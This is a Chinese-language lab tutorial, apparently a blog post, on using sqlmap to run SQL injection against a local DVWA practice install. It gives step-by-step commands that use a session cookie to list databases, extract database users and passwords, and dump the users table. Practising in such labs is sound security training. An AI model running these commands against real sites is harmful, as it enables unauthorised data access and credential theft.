初使用sqlmap對dvwa進行sql注入
1.下載安裝dvwa,可以去此處下載:http://www.dvwa.co.uk/
2.需要安裝python執行環境,我使用的是python2.7,python2.7-3.0之間的應該都可以。
3.下載sqlmap包並將其解壓
4.直接cmd執行sqlmap,輸入sqlmap.py -h檢視幫助資訊
我在執行sqlmap的時候遇到了這麼一個問題,就是輸入sqlmap.py -[options]的時候它會報錯:
後來在網上找了一下資料,用python sqlmap.py -h執行就可以了。
接下來實際操作一下:
1.SQL Injection介面輸入 id為1,我們URL中可以看到這麼一個GET請求:http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#(級別設定為low);
我們用URL測試之後發現它是重定向至登入頁面,所以我們還需要獲取一下cookie,可以使用抓包工具檢視,也可以使用F12檢視
獲取cookie之後我們在看一下結果:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch
此處,可以看到 id就是存在可以sql注入的引數。
2.檢視所有的資料庫;
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --dbs(dbs為所有資料庫)3.檢視當前的資料庫名稱:
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --current-db
4.檢視資料庫中的所有使用者和密碼:
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch --users --passwords
passsword hash: 顯示的雜湊密碼, clear_text password: 顯示的明文密碼
5.檢視資料裡的所有表
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa --tables
-D dvwa 是選擇資料庫
6.查看錶中的資料:
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa -T users --columns
-T選擇資料表
7.將表中的資料進行到處並儲存
python sqlmap.py -u "http://localhost:8098/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=c6dqu79cn9gjr31elg6m7ut7p5" --batch -D dvwa -T users -C "user,password" --dump